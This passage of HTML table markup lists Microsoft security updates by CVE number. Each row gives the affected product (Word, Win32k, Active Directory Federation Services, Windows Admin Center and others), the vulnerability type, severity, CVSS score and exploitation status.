  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
